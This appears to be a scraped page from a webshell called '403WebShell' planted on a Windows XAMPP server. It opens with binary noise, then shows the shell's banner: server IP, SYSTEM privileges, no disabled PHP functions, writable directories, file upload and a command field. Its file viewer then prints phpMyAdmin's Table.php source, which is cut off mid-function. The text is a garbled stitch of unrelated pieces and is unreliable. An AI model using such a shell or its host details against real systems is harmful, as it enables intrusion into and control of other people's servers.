�a����J�SQ�a���r�B;����}���ٻ֢�2�%U���c�#�g���N�a�ݕ�'�v�[�OY'��3L�3�;,p�]@�S��{ls��X�'���c�jw� k'a�.��}�}&�� �dP�*�bK=ɍ!����;3n�gΊU�ߴmt�'*{,=SzfD� A��ko~�G�aoq�_mi}#�m�������P�Xhύ��� �mxǍ�΂���巿zf��Q���c���|kc�����?���W��Y�$���_Lv����l߶��c���`?����l�j�ݲˏ!V��6����U�Ђ(A���4y)H���p�Z_�x��>���e�� R��$�/�`^'3qˏ�-&Q�=?��CFVR �D�fV�9��{�8g�������n�h�(P"��6�[�D���< E�����~0<@�`�G�6����Hг�cc�� �c�K.5��D��d�B���`?�XQ��2��ٿyqo&+�1^� DW�0�ꊩ���G�#��Q�nL3��c���������/��x ��1�1 [y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D� j����۳� l���^�k�h׽����� ��#� iXn�v��eT�k�a�^Y�4�BN�� ĕ�� 0    !01@Q"2AaPq3BR������ ? � ��@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9 �E�ߴ�w�S#d���Ix��u��:��Hp��9E!�� V 2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C���� ����v-tx����I�sם�Ę�q��Eb�+P\ :>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)� "��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1ŠK&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h� X��5��<�eޘ>G���-�}�دB�ޟ� ��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry� D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_� ؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ� V 77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j �ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^� ��ԯ̾9Z��F��������n��1��� ��]�[��)�'������ :�֪�W��FC����� �B9،!?���]��V��A�Վ�M��b�w��G F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54 �p��.w7� �� ��&������ξxGHp� B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0�� ;_�� 3     !01"@AQa2Pq#3BR������ ? � �ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p��� �����Kv�D��J8�Fҽ� �f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk���� ������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ij<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3 ��%�� ���28Q� ��y��φ���H�To�7�lW>����#i`�q���c����a��� �m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6�������� ��4B>��o��](��$B���m�����a�!=� �?�B� K�Ǿ+�Ծ"�n���K��*��+��[T#�{ E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)��� �I���Ԇw��E T�lrTf6Q|R�h:��[K�� �z��c֧�G�C��%\��_�a �84��HcO�bi��ؖV��7H �)*ģK~Xhչ0��4?�0��� �E<���}3���#���u�?�� ��|g�S�6ꊤ�|�I#Hڛ� �ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a 8���b� �$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F ����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��; �#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$�� �AjfG|~�9F ���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7� �k�� 403WebShell
403Webshell
Server IP : 127.0.0.1  /  Your IP : 10.100.1.254
Web Server : Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
System : Windows NT WIZC-EXTRANET 10.0 build 19045 (Windows 10) AMD64
User : SYSTEM ( 0)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/xampp/phpMyAdmin/libraries/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : C:/xampp/phpMyAdmin/libraries/classes/Table.php
<?php

declare(strict_types=1);

namespace PhpMyAdmin;

use PhpMyAdmin\ConfigStorage\Features\DisplayFeature;
use PhpMyAdmin\ConfigStorage\Features\RelationFeature;
use PhpMyAdmin\ConfigStorage\Features\UiPreferencesFeature;
use PhpMyAdmin\ConfigStorage\Relation;
use PhpMyAdmin\Html\Generator;
use PhpMyAdmin\Html\MySQLDocumentation;
use PhpMyAdmin\Plugins\Export\ExportSql;
use PhpMyAdmin\Query\Compatibility;
use PhpMyAdmin\Query\Generator as QueryGenerator;
use PhpMyAdmin\SqlParser\Components\Expression;
use PhpMyAdmin\SqlParser\Components\OptionsArray;
use PhpMyAdmin\SqlParser\Context;
use PhpMyAdmin\SqlParser\Parser;
use PhpMyAdmin\SqlParser\Statements\AlterStatement;
use PhpMyAdmin\SqlParser\Statements\CreateStatement;
use PhpMyAdmin\SqlParser\Statements\DropStatement;
use PhpMyAdmin\SqlParser\Utils\Table as TableUtils;
use Stringable;

use function __;
use function array_key_exists;
use function array_keys;
use function array_map;
use function array_merge;
use function count;
use function end;
use function explode;
use function htmlspecialchars;
use function implode;
use function in_array;
use function is_array;
use function is_string;
use function json_decode;
use function json_encode;
use function mb_stripos;
use function mb_strlen;
use function mb_substr;
use function preg_match;
use function preg_replace;
use function rtrim;
use function sprintf;
use function str_contains;
use function str_replace;
use function stripos;
use function strlen;
use function strtolower;
use function strtoupper;
use function substr;
use function substr_compare;
use function trigger_error;
use function trim;

use const E_USER_WARNING;

/**
 * Handles everything related to tables
 *
 * @todo make use of Message and Error
 */
class Table implements Stringable
{
    /**
     * UI preferences properties
     */
    public const PROP_SORTED_COLUMN = 'sorted_col';
    public const PROP_COLUMN_ORDER = 'col_order';
    public const PROP_COLUMN_VISIB = 'col_visib';

    /** @var string  engine (innodb, myisam, bdb, ...) */
    public $engine = '';

    /** @var string  type (view, base table, system view) */
    public $type = '';

    /** @var array UI preferences */
    public $uiprefs = [];

    /** @var array errors occurred */
    public $errors = [];

    /** @var array messages */
    public $messages = [];

    /** @var string  table name */
    protected $name = '';

    /** @var string  database name */
    protected $dbName = '';

    /** @var DatabaseInterface */
    protected $dbi;

    /** @var Relation */
    private $relation;

    /**
     * @param string                 $tableName table name
     * @param string                 $dbName    database name
     * @param DatabaseInterface|null $dbi       database interface for the table
     */
    public function __construct($tableName, $dbName, ?DatabaseInterface $dbi = null)
    {
        if (empty($dbi)) {
            $dbi = $GLOBALS['dbi'];
        }

        $this->dbi = $dbi;
        $this->name = $tableName;
        $this->dbName = $dbName;
        $this->relation = new Relation($this->dbi);
    }

    /**
     * returns table name
     *
     * @see Table::getName()
     */
    public function __toString(): string
    {
        return $this->getName();
    }

    /**
     * Table getter
     *
     * @param string                 $tableName table name
     * @param string                 $dbName    database name
     * @param DatabaseInterface|null $dbi       database interface for the table
     *
     * @return Table
     */
    public static function get($tableName, $dbName, ?DatabaseInterface $dbi = null)
    {
        return new Table($tableName, $dbName, $dbi);
    }

    /**
     * return the last error
     *
     * @return string the last error
     */
    public function getLastError()
    {
        return end($this->errors);
    }

    /**
     * return the last message
     *
     * @return string the last message
     */
    public function getLastMessage()
    {
        return end($this->messages);
    }

    /**
     * returns table name
     *
     * @param bool $backquoted whether to quote name with backticks ``
     *
     * @return string  table name
     */
    public function getName($backquoted = false)
    {
        if ($backquoted) {
            return Util::backquote($this->name);
        }

        return $this->name;
    }

    /**
     * returns database name for this table
     *
     * @param bool $backquoted whether to quote name with backticks ``
     *
     * @return string  database name for this table
     */
    public function getDbName($backquoted = false)
    {
        if ($backquoted) {
            return Util::backquote($this->dbName);
        }

        return $this->dbName;
    }

    /**
     * returns full name for table, including database name
     *
     * @param bool $backquoted whether to quote name with backticks ``
     *
     * @return string
     */
    public function getFullName($backquoted = false)
    {
        return $this->getDbName($backquoted) . '.'
        . $this->getName($backquoted);
    }

    /**
     * Checks the storage engine used to create table
     *
     * @param array|string $engine Checks the table engine against an
     *                             array of engine strings or a single string, should be uppercase
     */
    public function isEngine($engine): bool
    {
        $tableStorageEngine = $this->getStorageEngine();

        if (is_array($engine)) {
            foreach ($engine as $e) {
                if ($e == $tableStorageEngine) {
                    return true;
                }
            }

            return false;
        }

        return $tableStorageEngine == $engine;
    }

    /**
     * returns whether the table is actually a view
     */
    public function isView(): bool
    {
        $db = $this->dbName;
        $table = $this->name;
        if (empty($db) || empty($table)) {
            return false;
        }

        // use cached data or load information with SHOW command
        if (
            $this->dbi->getCache()->getCachedTableContent([$db, $table]) != null
            || $GLOBALS['cfg']['Server']['DisableIS']
        ) {
            $type = $this->getStatusInfo('TABLE_TYPE');

            return $type === 'VIEW' || $type === 'SYSTEM VIEW';
        }

        // information_schema tables are 'SYSTEM VIEW's
        if ($db === 'information_schema') {
            return true;
        }

        // query information_schema
        $result = $this->dbi->fetchResult(
            'SELECT TABLE_NAME'
            . ' FROM information_schema.VIEWS'
            . ' WHERE TABLE_SCHEMA = \'' . $this->dbi->escapeString((string) $db) . '\''
            . ' AND TABLE_NAME = \'' . $this->dbi->escapeString((string) $table) . '\''
        );

        return (bool) $result;
    }

    /**
     * Returns whether the table is actually an updatable view
     */
    public function isUpdatableView(): bool
    {
        if (empty($this->dbName) || empty($this->name)) {
            return false;
        }

        $result = $this->dbi->fetchResult(
            'SELECT TABLE_NAME'
            . ' FROM information_schema.VIEWS'
            . ' WHERE TABLE_SCHEMA = \'' . $this->dbi->escapeString($this->dbName) . '\''
            . ' AND TABLE_NAME = \'' . $this->dbi->escapeString($this->name) . '\''
            . ' AND IS_UPDATABLE = \'YES\''
        );

        return (bool) $result;
    }

    /**
     * Checks if this is a merge table
     *
     * If the ENGINE of the table is MERGE or MRG_MYISAM (alias),
     * this is a merge table.
     */
    public function isMerge(): bool
    {
        return $this->isEngine(['MERGE', 'MRG_MYISAM']);
    }

    /**
     * Returns full table status info, or specific if $info provided
     * this info is collected from information_schema
     *
     * @param string $info         specific information to be fetched
     * @param bool   $forceRead    read new rather than serving from cache
     * @param bool   $disableError if true, disables error message
     *
     * @return mixed
     *
     * @todo DatabaseInterface::getTablesFull needs to be merged
     * somehow into this class or at least better documented
     */
    public function getStatusInfo(
        $info = null,
        $forceRead = false,
        $disableError = false
    ) {
        $db = $this->dbName;
        $table = $this->name;

        if (! empty($_SESSION['is_multi_query'])) {
            $disableError = true;
        }

        $cachedResult = $this->dbi->getCache()->getCachedTableContent([$db, $table]);

        // sometimes there is only one entry (ExactRows) so
        // we have to get the table's details
        if ($cachedResult === null || $forceRead || count($cachedResult) === 1) {
            $this->dbi->getTablesFull($db, $table);
            $cachedResult = $this->dbi->getCache()->getCachedTableContent([$db, $table]);
        }

        if ($cachedResult === null) {
            // happens when we enter the table creation dialog
            // or when we really did not get any status info, for example
            // when $table === 'TABLE_NAMES' after the user tried SHOW TABLES
            return '';
        }

        if ($info === null) {
            return $cachedResult;
        }

        // array_key_exists allows for null values
        if (! array_key_exists($info, $cachedResult)) {
            if (! $disableError) {
                trigger_error(
                    __('Unknown table status:') . ' ' . $info,
                    E_USER_WARNING
                );
            }

            return false;
        }

        return $this->dbi->getCache()->getCachedTableContent([$db, $table, $info]);
    }

    /**
     * Returns the Table storage Engine for current table.
     *
     * @return string                 Return storage engine info if it is set for
     *                                the selected table else return blank.
     */
    public function getStorageEngine(): string
    {
        $tableStorageEngine = $this->getStatusInfo('ENGINE', false, true);
        if ($tableStorageEngine === false) {
            return '';
        }

        return strtoupper((string) $tableStorageEngine);
    }

    /**
     * Returns the comments for current table.
     *
     * @return string Return comment info if it is set for the selected table or return blank.
     */
    public function getComment()
    {
        $tableComment = $this->getStatusInfo('TABLE_COMMENT', false, true);
        if ($tableComment === false) {
            return '';
        }

        return $tableComment;
    }

    /**
     * Returns the collation for current table.
     *
     * @return string Return blank if collation is empty else return the collation info from table info.
     */
    public function getCollation()
    {
        $tableCollation = $this->getStatusInfo('TABLE_COLLATION', false, true);
        if ($tableCollation === false) {
            return '';
        }

        return $tableCollation;
    }

    /**
     * Returns the info about no of rows for current table.
     *
     * @return int Return no of rows info if it is not null for the selected table or return 0.
     */
    public function getNumRows()
    {
        $tableNumRowInfo = $this->getStatusInfo('TABLE_ROWS', false, true);
        if ($tableNumRowInfo === false) {
            $tableNumRowInfo = $this->dbi->getTable($this->dbName, $GLOBALS['showtable']['Name'])
            ->countRecords(true);
        }

        return $tableNumRowInfo ?: 0;
    }

    /**
     * Returns the Row format for current table.
     *
     * @return string Return table row format info if it is set for the selected table or return blank.
     */
    public function getRowFormat()
    {
        $tableRowFormat = $this->getStatusInfo('ROW_FORMAT', false, true);
        if ($tableRowFormat === false) {
            return '';
        }

        return $tableRowFormat;
    }

    /**
     * Returns the auto increment option for current table.
     *
     * @return int Return auto increment info if it is set for the selected table or return blank.
     */
    public function getAutoIncrement()
    {
        $tableAutoIncrement = $this->getStatusInfo('AUTO_INCREMENT', false, true);

        return $tableAutoIncrement ?? '';
    }

    /**
     * Returns the array for CREATE statement for current table.
     *
     * @return array Return options array info if it is set for the selected table or return blank.
     */
    public function getCreateOptions()
    {
        $tableOptions = $this->getStatusInfo('CREATE_OPTIONS', false, true);
        $createOptionsTmp = empty($tableOptions) ? [] : explode(' ', $tableOptions);
        $createOptions = [];
        // export create options by its name as variables into global namespace
        // f.e. pack_keys=1 becomes available as $pack_keys with value of '1'
        // unset($pack_keys);
        foreach ($createOptionsTmp as $eachCreateOption) {
            $eachCreateOption = explode('=', $eachCreateOption);
            if (! isset($eachCreateOption[1])) {
                continue;
            }

            // ensure there is no ambiguity for PHP 5 and 7
            $createOptions[$eachCreateOption[0]] = $eachCreateOption[1];
        }

        // we need explicit DEFAULT value here (different from '0')
        $hasPackKeys = isset($createOptions['pack_keys']) && strlen($createOptions['pack_keys']) > 0;
        $createOptions['pack_keys'] = $hasPackKeys ? $createOptions['pack_keys'] : 'DEFAULT';

        return $createOptions;
    }

    /**
     * generates column specification for ALTER or CREATE TABLE syntax
     *
     * @param string      $name             name
     * @param string      $type             type ('INT', 'VARCHAR', 'BIT', ...)
     * @param string      $length           length ('2', '5,2', '', ...)
     * @param string      $attribute        attribute
     * @param string      $collation        collation
     * @param bool|string $null             with 'NULL' or 'NOT NULL'
     * @param string      $defaultType      whether default is CURRENT_TIMESTAMP,
     *                                       NULL, NONE, USER_DEFINED, UUID
     * @param string      $defaultValue     default value for USER_DEFINED
     *                                       default type
     * @param string      $extra            'AUTO_INCREMENT'
     * @param string      $comment          field comment
     * @param string      $virtuality       virtuality of the column
     * @param string      $expression       expression for the virtual column
     * @param string      $moveTo           new position for column
     * @param array       $columnsWithIndex Fields having PRIMARY or UNIQUE KEY indexes
     * @param string      $oldColumnName    Old column name
     *
     * @return string  field specification
     *
     * @todo    move into class PMA_Column
     * @todo on the interface, some js to clear the default value when the
     * default current_timestamp is checked
     */
    public static function generateFieldSpec(
        $name,
        string $type,
        string $length = '',
        $attribute = '',
        $collation = '',
        $null = false,
        $defaultType = 'USER_DEFINED',
        $defaultValue = '',
        $extra = '',
        $comment = '',
        $virtuality = '',
        $expression = '',
        $moveTo = '',
        $columnsWithIndex = null,
        $oldColumnName = null
    ) {
        global $dbi;

        $strLength = strlen($length);
        $isTimestamp = mb_stripos($type, 'TIMESTAMP') !== false;

        $query = Util::backquote($name) . ' ' . $type;

        // allow the possibility of a length for TIME, DATETIME and TIMESTAMP
        // (will work on MySQL >= 5.6.4)
        //
        // MySQL permits a non-standard syntax for FLOAT and DOUBLE,
        // see https://dev.mysql.com/doc/refman/5.5/en/floating-point-types.html
        $pattern = '@^(DATE|TINYBLOB|TINYTEXT|BLOB|TEXT|'
            . 'MEDIUMBLOB|MEDIUMTEXT|LONGBLOB|LONGTEXT|SERIAL|BOOLEAN|UUID|JSON)$@i';
        if (
            $strLength !== 0
            && ! preg_match($pattern, $type)
            && Compatibility::isIntegersSupportLength($type, $length, $dbi)
        ) {
            // Note: The variable $length here can contain several other things
            // besides length - ENUM/SET value or length of DECIMAL (eg. 12,3)
            // so we can't just convert it to integer
            $query .= '(' . $length . ')';
        }

        if ($attribute != '') {
            $query .= ' ' . $attribute;

            if ($isTimestamp && stripos($attribute, 'TIMESTAMP') !== false && $strLength !== 0) {
                $query .= '(' . $length . ')';
            }
        }

        // if column is virtual, check if server type is Mysql as only Mysql server
        // supports extra column properties
        $isVirtualColMysql = $virtuality && Compatibility::isMySqlOrPerconaDb();
        // if column is virtual, check if server type is MariaDB as MariaDB server
        // supports no extra virtual column properties except CHARACTER SET for text column types
        $isVirtualColMariaDB = $virtuality && Compatibility::isMariaDb();

        $matches = preg_match('@^(TINYTEXT|TEXT|MEDIUMTEXT|LONGTEXT|VARCHAR|CHAR|ENUM|SET)$@i', $type);
        if (! empty($collation) && $collation !== 'NULL' && $matches) {
            $query .= Util::getCharsetQueryPart(
                $isVirtualColMariaDB ? (string) preg_replace('~_.+~s', '', $collation) : $collation,
                true
            );
        }

        if ($virtuality) {
            $query .= ' AS (' . $expression . ') ' . $virtuality;
        }

        if (! $virtuality || $isVirtualColMysql) {
            if ($null !== false) {
                if ($null === 'YES') {
                    $query .= ' NULL';
                } else {
                    $query .= ' NOT NULL';
                }
            }

            if (! $virtuality) {
                switch ($defaultType) {
                    case 'USER_DEFINED':
                        if ($isTimestamp && $defaultValue === '0') {
                            // a TIMESTAMP does not accept DEFAULT '0'
                            // but DEFAULT 0 works
                            $query .= ' DEFAULT 0';
                        } elseif (
                            $isTimestamp
                            && preg_match(
                                '/^\'\d\d\d\d-\d\d-\d\d \d\d:\d\d:\d\d(\.\d{1,6})?\'$/',
                                (string) $defaultValue
                            )
                        ) {
                            $query .= ' DEFAULT ' . (string) $defaultValue;
                        } elseif ($type === 'BIT') {
                            $query .= ' DEFAULT b\''
                            . preg_replace('/[^01]/', '0', (string) $defaultValue)
                            . '\'';
                        } elseif ($type === 'BOOLEAN') {
                            if (preg_match('/^1|T|TRUE|YES$/i', (string) $defaultValue)) {
                                $query .= ' DEFAULT TRUE';
                            } elseif (preg_match('/^0|F|FALSE|NO$/i', $defaultValue)) {
                                $query .= ' DEFAULT FALSE';
                            } else {
                                // Invalid BOOLEAN value
                                $query .= ' DEFAULT \''
                                . $dbi->escapeString($defaultValue) . '\'';
                            }
                        } elseif ($type === 'BINARY' || $type === 'VARBINARY') {
                            $query .= ' DEFAULT 0x' . $defaultValue;
                        } else {
                            $query .= ' DEFAULT \''
                            . $dbi->escapeString((string) $defaultValue) . '\'';
                        }

                        break;
                    /** @noinspection PhpMissingBreakStatementInspection */
                    case 'NULL':
                        // If user uncheck null checkbox and not change default value null,
                        // default value will be ignored.
                        if ($null !== false && $null !== 'YES') {
                            break;
                        }
                        // else fall-through intended, no break here
                    case 'CURRENT_TIMESTAMP':
                    case 'current_timestamp()':
                        $query .= ' DEFAULT ' . $defaultType;

                        if (
                            $strLength !== 0
                            && $isTimestamp
                            && $defaultType !== 'NULL' // Not to be added in case of NULL
                        ) {
                            $query .= '(' . $length . ')';
                        }

                        break;
                    case 'UUID':
                    case 'uuid()':
                        $query .= ' DEFAULT uuid()';

                        break;
                    case 'NONE':
                    default:
                        break;
                }
            }

            if (! empty($extra)) {
                if ($virtuality) {
                    $extra = trim((string) preg_replace('~^\s*AUTO_INCREMENT\s*~is', ' ', $extra));
                }

                $query .= ' ' . $extra;
            }
        }

        if (! empty($comment)) {
            $query .= " COMMENT '" . $dbi->escapeString($comment) . "'";
        }

        // move column
        if ($moveTo === '-first') { // dash can't appear as part of column name
            $query .= ' FIRST';
        } elseif ($moveTo != '') {
            $query .= ' AFTER ' . Util::backquote($moveTo);
        }

        if (! $virtuality && ! empty($extra)) {
            if ($oldColumnName === null) {
                if (is_array($columnsWithIndex) && ! in_array($name, $columnsWithIndex)) {
                    $query .= ', add PRIMARY KEY (' . Util::backquote($name) . ')';
                }
            } else {
                if (is_array($columnsWithIndex) && ! in_array($oldColumnName, $columnsWithIndex)) {
                    $query .= ', add PRIMARY KEY (' . Util::backquote($name) . ')';
                }
            }
        }

        return $query;
    }

    /**
     * Checks if the number of records in a table is at least equal to
     * $min_records
     *
     * @param int $minRecords Number of records to check for in a table
     */
    public function checkIfMinRecordsExist($minRecords = 0): bool
    {
        $checkQuery = 'SELECT ';

        $uniqueFields = $this->getUniqueColumns(true, false);
        if (count($uniqueFields) > 0) {
            $fieldsToSelect = implode(', ', $uniqueFields);
        } else {
            $indexedCols = $this->getIndexedColumns(true, false);
            if (count($indexedCols) > 0) {
                $fieldsToSelect = implode(', ', $indexedCols);
            } else {
                $fieldsToSelect = '*';
            }
        }

        $checkQuery .= $fieldsToSelect
            . ' FROM ' . $this->getFullName(true)
            . ' LIMIT ' . $minRecords;

        $res = $this->dbi->tryQuery($checkQuery);

        if ($res !== false) {
            $numRecords = $res->numRows();
            if ($numRecords >= $minRecords) {
                return true;
            }
        }

        return false;
    }

    /**
     * Counts and returns (or displays) the number of records in a table
     *
     * @param bool $forceExact whether to force an exact count
     *
     * @return mixed the number of records if "retain" param is true,
     *               otherwise true
     */
    public function countRecords($forceExact = false)
    {
        $isView = $this->isView();
        $db = $this->dbName;
        $table = $this->name;

        if ($this->dbi->getCache()->getCachedTableContent([$db, $table, 'ExactRows']) != null) {
            return $this->dbi->getCache()->getCachedTableContent(
                [
                    $db,
                    $table,
                    'ExactRows',
                ]
            );
        }

        $rowCount = false;

        if (! $forceExact) {
            if (($this->dbi->getCache()->getCachedTableContent([$db, $table, 'Rows']) == null) && ! $isView) {
                $tmpTables = $this->dbi->getTablesFull($db, $table);
                if (isset($tmpTables[$table])) {
                    $this->dbi->getCache()->cacheTableContent(
                        [
                            $db,
                            $table,
                        ],
                        $tmpTables[$table]
                    );
                }
            }

            if ($this->dbi->getCache()->getCachedTableContent([$db, $table, 'Rows']) != null) {
                $rowCount = $this->dbi->getCache()->getCachedTableContent(
                    [
                        $db,
                        $table,
                        'Rows',
                    ]
                );
            } else {
                $rowCount = false;
            }
        }

        // for a VIEW, $row_count is always false at this point
        if ($rowCount !== false && $rowCount >= $GLOBALS['cfg']['MaxExactCount']) {
            return $rowCount;
        }

        if (! $isView) {
            $rowCount = $this->dbi->fetchValue(
                'SELECT COUNT(*) FROM ' . Util::backquote($db) . '.'
                . Util::backquote($table)
            );
        } else {
            // For complex views, even trying to get a partial record
            // count could bring down a server, so we offer an
            // alternative: setting MaxExactCountViews to 0 will bypass
            // completely the record counting for views

            if ($GLOBALS['cfg']['MaxExactCountViews'] == 0) {
                $rowCount = false;
            } else {
                // Counting all rows of a VIEW could be too long,
                // so use a LIMIT clause.
                // Use try_query because it can fail (when a VIEW is
                // based on a table that no longer exists)
                $result = $this->dbi->tryQuery(
                    'SELECT 1 FROM ' . Util::backquote($db) . '.'
                    . Util::backquote($table) . ' LIMIT '
                    . $GLOBALS['cfg']['MaxExactCountViews']
                );
                if ($result) {
                    $rowCount = $result->numRows();
                }
            }
        }

        if ($rowCount) {
            $this->dbi->getCache()->cacheTableContent([$db, $table, 'ExactRows'], $rowCount);
        }

        return $rowCount;
    }

    /**
     * Generates column specification for ALTER syntax
     *
     * @see Table::generateFieldSpec()
     *
     * @param string      $oldcol           old column name
     * @param string      $newcol           new column name
     * @param string      $type             type ('INT', 'VARCHAR', 'BIT', ...)
     * @param string      $length           length ('2', '5,2', '', ...)
     * @param string      $attribute        attribute
     * @param string      $collation        collation
     * @param bool|string $null             with 'NULL' or 'NOT NULL'
     * @param string      $defaultType      whether default is CURRENT_TIMESTAMP,
     *                                       NULL, NONE, USER_DEFINED
     * @param string      $defaultValue     default value for USER_DEFINED default
     *                                       type
     * @param string      $extra            'AUTO_INCREMENT'
     * @param string      $comment          field comment
     * @param string      $virtuality       virtuality of the column
     * @param string      $expression       expression for the virtual column
     * @param string      $moveTo           new position for column
     * @param array       $columnsWithIndex Fields having PRIMARY or UNIQUE KEY indexes
     *
     * @return string  field specification
     */
    public static function generateAlter(
        $oldcol,
        $newcol,
        $type,
        $length,
        $attribute,
        $collation,
        $null,
        $defaultType,
        $defaultValue,
        $extra,
        $comment,
        $virtuality,
        $expression,
        $moveTo,
        $columnsWithIndex = null
    ) {
        return Util::backquote($oldcol) . ' '
        . self::generateFieldSpec(
            $newcol,
            $type,
            $length,
            $attribute,
            $collation,
            $null,
            $defaultType,
            $defaultValue,
            $extra,
            $comment,
            $virtuality,
            $expression,
            $moveTo,
            $columnsWithIndex,
            $oldcol
        );
    }

    /**
     * Inserts existing entries in a PMA_* table by reading a value from an old
     * entry
     *
     * @param string $work        The array index, which Relation feature to check ('relwork', 'commwork', ...)
     * @param string $table       The array index, which PMA-table to update ('bookmark', 'relation', ...)
     * @param array  $getFields   Which fields will be SELECT'ed from the old entry
     * @param array  $whereFields Which fields will be used for the WHERE query (array('FIELDNAME' => 'FIELDVALUE'))
     * @param array  $newFields   Which fields will be used as new VALUES. These are the important keys which differ
     *                            from the old entry (array('FIELDNAME' => 'NEW FIELDVALUE'))
     *
     * @return int|bool
     */
    public static function duplicateInfo(
        $work,
        $table,
        array $getFields,
        array $whereFields,
        array $newFields
    ) {
        global $dbi;

        $relation = new Relation($dbi);
        $relationParameters = $relation->getRelationParameters();
        $relationParams = $relationParameters->toArray();
        $lastId = -1;

        if (! isset($relationParams[$work], $relationParams[$table]) || ! $relationParams[$work]) {
            return true;
        }

        $selectParts = [];
        $rowFields = [];
        foreach ($getFields as $getField) {
            $selectParts[] = Util::backquote($getField);
            $rowFields[$getField] = 'cc';
        }

        $whereParts = [];
        foreach ($whereFields as $where => $value) {
            $whereParts[] = Util::backquote($where) . ' = \''
                . $dbi->escapeString((string) $value) . '\'';
        }

        $newParts = [];
        $newValueParts = [];
        foreach ($newFields as $where => $value) {
            $newParts[] = Util::backquote($where);
            $newValueParts[] = $dbi->escapeString((string) $value);
        }

        $tableCopyQuery = '
            SELECT ' . implode(', ', $selectParts) . '
              FROM ' . Util::backquote($relationParameters->db) . '.'
              . Util::backquote((string) $relationParams[$table]) . '
             WHERE ' . implode(' AND ', $whereParts);

        // must use DatabaseInterface::QUERY_BUFFERED here, since we execute
        // another query inside the loop
        $tableCopyRs = $dbi->queryAsControlUser($tableCopyQuery);

        foreach ($tableCopyRs as $tableCopyRow) {
            $valueParts = [];
            foreach ($tableCopyRow as $key => $val) {
                if (! isset($rowFields[$key]) || $rowFields[$key] != 'cc') {
                    continue;
                }

                $valueParts[] = $dbi->escapeString($val);
            }

            $newTableQuery = 'INSERT IGNORE INTO '
                . Util::backquote($relationParameters->db)
                . '.' . Util::backquote((string) $relationParams[$table])
                . ' (' . implode(', ', $selectParts) . ', '
                . implode(', ', $newParts) . ') VALUES (\''
                . implode('\', \'', $valueParts) . '\', \''
                . implode('\', \'', $newValueParts) . '\')';

            $dbi->queryAsControlUser($newTableQuery);
            $lastId = $dbi->insertId();
        }

        return $lastId;
    }

    /**
     * Copies or renames table
     *
     * @param string      $sourceDb    source database
     * @param string      $sourceTable source table
     * @param string|null $targetDb    target database
     * @param string      $targetTable target table
     * @param string      $what        what to be moved or copied (data, dataonly)
     * @param bool        $move        whether to move
     * @param string      $mode        mode
     */
    public static function moveCopy(
        $sourceDb,
        $sourceTable,
        ?string $targetDb,
        $targetTable,
        $what,
        $move,
        $mode,
        bool $addDropIfExists
    ): bool {
        global $errorUrl, $dbi;

        $relation = new Relation($dbi);

        // Try moving the tables directly, using native `RENAME` statement.
        if ($move && $what === 'data') {
            $tbl = new Table($sourceTable, $sourceDb);
            if ($tbl->rename($targetTable, $targetDb)) {
                $GLOBALS['message'] = $tbl->getLastMessage();

                return true;
            }
        }

        // Setting required export settings.
        $GLOBALS['sql_backquotes'] = 1;
        $GLOBALS['asfile'] = 1;

        // Ensuring the target database is valid.
        if (! $GLOBALS['dblist']->databases->exists($sourceDb, $targetDb)) {
            if (! $GLOBALS['dblist']->databases->exists($sourceDb)) {
                $GLOBALS['message'] = Message::rawError(
                    sprintf(
                        __('Source database `%s` was not found!'),
                        htmlspecialchars($sourceDb)
                    )
